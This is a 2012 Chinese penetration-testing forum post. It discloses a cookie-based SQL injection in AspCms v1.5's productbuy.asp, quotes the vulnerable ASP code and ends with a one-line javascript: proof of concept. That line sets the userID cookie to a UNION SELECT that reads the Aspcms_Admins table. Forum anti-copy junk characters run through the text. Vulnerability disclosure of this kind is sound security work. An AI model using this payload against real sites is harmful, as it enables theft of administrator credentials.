中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
: a, S- |+ Y3 p  Z  M8 `4 |也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。! U, u* l7 p$ B  q* O
废话不多说,看代码:8 v2 R( D" y+ Q! P

1 @0 e% m7 z* s2 I4 a<%! }" ^3 d4 L3 Y+ W, U+ g8 z) f7 N
0 {; }0 b9 X6 m/ Z6 K! R
if action = "buy" then; h" O! Z) M: ^8 H8 f
9 ]4 U, c6 e6 }, N1 u$ l' ]
        addOrder()
# N9 \$ X: X0 l6 R* Z7 c* e. O$ E3 e1 X: {! r* `" U- k" H( k4 [
else6 e+ @5 q: Q3 j9 L- K9 e4 o. z$ ~

$ ^2 @, Z2 M' l( z0 y# {  H        echoContent()
' ]9 a& T, S# J1 o8 K; W6 w6 t- _* m6 O
end if) N. ], ~4 c7 l" t
5 Q! r( m0 [' L) {" b

* M2 ?  q/ q3 J5 n) O& Z2 h4 O* N* ~! l7 I$ k
……略过
9 J+ R2 m$ I: Y5 j5 R7 O: I" {" {! ^: E8 g6 {$ G" \# @
, r4 h" M8 e* i7 w/ F

5 C: B1 d9 o' D5 x! T1 C+ iSub echoContent()
, o6 T4 ]# h5 F0 N/ `5 x0 B* A0 b) r( y* i0 v5 f! b4 M
        dim id% s; L( ?$ c/ G5 }

7 h- j6 X' k4 V7 ?& b: X        id=getForm("id","get")9 d6 Q0 W  h1 I

) }. I+ ?. i# e        
7 F! Q6 i# k2 T) r2 N4 N# e8 D3 @% Y2 Z; p6 R5 [
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
- i. t) |0 V$ t: D3 V: R. ^; M8 E
& b1 \# I+ h1 r. ~        
2 l8 T; d) v5 [# O; D4 ]/ \8 k9 @2 z# U/ U3 d$ l6 K
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")/ q- K0 S( q- y: m: G
. i# b8 K2 O1 U; z0 p3 p
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct3 b; y4 G: P; z9 X7 D

# S1 X, C4 d; e        Dim templatePath,tempStr( @/ s- }. \4 m$ P! x1 @- x

+ {! K( S* z! Q' Y, ~. L+ O2 {        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
8 Z! y  e9 r6 _3 b2 R
( F( f/ P8 j( w) C( d; [) X1 e2 v1 @& S8 {) w5 l

+ s7 u. Y. T& h' E        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")# O! O5 k; _! P$ V2 s/ i

6 H9 v! P4 K7 Y' e) N5 a        selectproduct=rsObj(0)# [( E  ]! c; b  [: j4 o& X: |

1 d* C/ j; z5 B$ x- A7 Z9 P7 ^        
( m: H. U* {$ o3 O6 V
* }4 W4 X  ?6 Y& n! p( p. @5 B+ ~        Dim linkman,gender,phone,mobile,email,qq,address,postcode
% D) ^8 w. e1 D9 a
6 ~4 |" Y4 A$ @0 G. T1 M        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
* u/ U, \% t! d3 ?: |- E7 Q0 e0 d' s# C6 n3 G
        if rCookie("loginstatus")=1 then  4 ?  a; q9 v. r7 S

0 B. @: U6 u; ?                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
2 C" r' }8 S/ k4 F5 `! |7 r! O: I- k: a, w. `* D  K8 N
                linkman=rsObj("truename")0 J2 p) |' `* }3 E# x
2 A4 N1 ?2 Y" U( _
                gender=rsObj("gender")
9 ~! W3 }0 |; ]3 J& \' ?& O9 W7 e+ J# H7 |4 L
                phone=rsObj("phone")
6 L) V$ W, i8 Z, z' S0 J) S. ^9 \7 y2 R# C
                mobile=rsObj("mobile")7 w: |% O( h/ B; Y! |0 i6 U

2 V0 @& }) d/ J: k                email=rsObj("email")/ O9 x3 Q# W  a- E& T8 t' N

, {0 G' C1 f, E/ H9 s5 T  W4 \" @% e                qq=rsObj("qq")
7 v6 P# _/ P8 [, l( t+ r9 r( r6 A& p4 C+ y
                address=rsObj("address")  e4 p; P2 ~5 k. d# X
+ ^- S3 d3 c) C# U$ i* P
                postcode=rsObj("postcode")
" t9 q6 P  M$ C* ^; @: t+ Y/ Q
7 C* K+ ]0 {& \9 M2 d+ e        else
) H1 E; }- h$ n4 u- |9 `6 r: t9 J/ S8 p$ ^3 q
                gender=1
) G6 Q; `' ]" V& @8 U% `0 P+ G4 U
        end if
8 V- @& ^$ e/ B% r* S
1 M6 D+ @5 f' w) W  s        rsObj.close()
' L' y+ U. u5 w8 _
( l% ]3 p" O( B. m! g: o               
6 }8 F* k1 S6 `$ b
# G, X0 }3 V& W, w        with templateObj
: H' r( `, q4 l# h: y6 C# y+ C/ h
; _+ e$ F3 S* s: [! L; d                .content=loadFile(templatePath)        
, c$ Q4 s% g  s. n0 }# Z; C$ p" h- f+ h+ @
                .parseHtml()$ r( q0 A0 Q4 {! y
8 @3 E2 E" ?7 x9 D4 O+ ^  d* u/ d
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)' O3 X7 g- f2 ?3 V

2 _4 ~  e% f7 I: P8 u                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
% K# Z: |+ a6 _3 |" N+ ~0 z# _7 {% Y0 N8 z) f3 c9 U* Y
                .content=replaceStr(.content,"[aspcms:gender]",gender)                7 g6 r7 e, ^. s* Q- H8 y7 v7 b. s
+ {2 U7 {6 d" Q$ X) w' p. p
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
- Q  x6 n" r* q' V: O2 w0 ?" `& O. U7 x  M
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                0 _5 {  j9 Z. Z6 Q6 [0 C4 F% }

) N/ i2 h: @6 i  b& D7 |5 _                .content=replaceStr(.content,"[aspcms:email]",email)                        ) e$ T+ \, f7 @; ]

0 V9 |9 _( X, w  f0 y) Z                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
( g' c6 ?% p; m+ j
9 v1 l- i/ l# @5 Z5 q                .content=replaceStr(.content,"[aspcms:address]",address)                        
3 p2 m8 C" K2 p  B! P, `  [% i; R1 Y8 K- l4 S4 K( u' O
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
0 Q/ N" }! V3 e% W' K* {2 q. V. E5 x
                .parseCommon()                 
% d* J# q9 ?( G  Z$ E& t, N  a5 t- `! r9 p: Q) w$ b
                echo .content & {# Z8 V! Y9 m! J9 \' J7 P; {

% W4 q2 H9 i5 l& N2 Q        end with
9 P) n1 D  K/ _+ M/ ]
/ h( T- p  l5 P8 E        set templateobj =nothing : terminateAllObjects: P% Z  k4 p; r* A& f+ f

  X% A2 ?) \/ }5 q! `( vEnd Sub" T- n0 ?+ ~3 F! U+ b  e
漏洞很明显,没啥好说的
% \1 y; E* u0 Z# W8 K1 ?$ F% Dpoc:
" R# k/ e! ~$ Q5 P# E
3 ^% M! r/ }2 s. ~3 qjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​5 V# r  C7 n/ l

# W+ f' {5 M; q: T, A. D




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2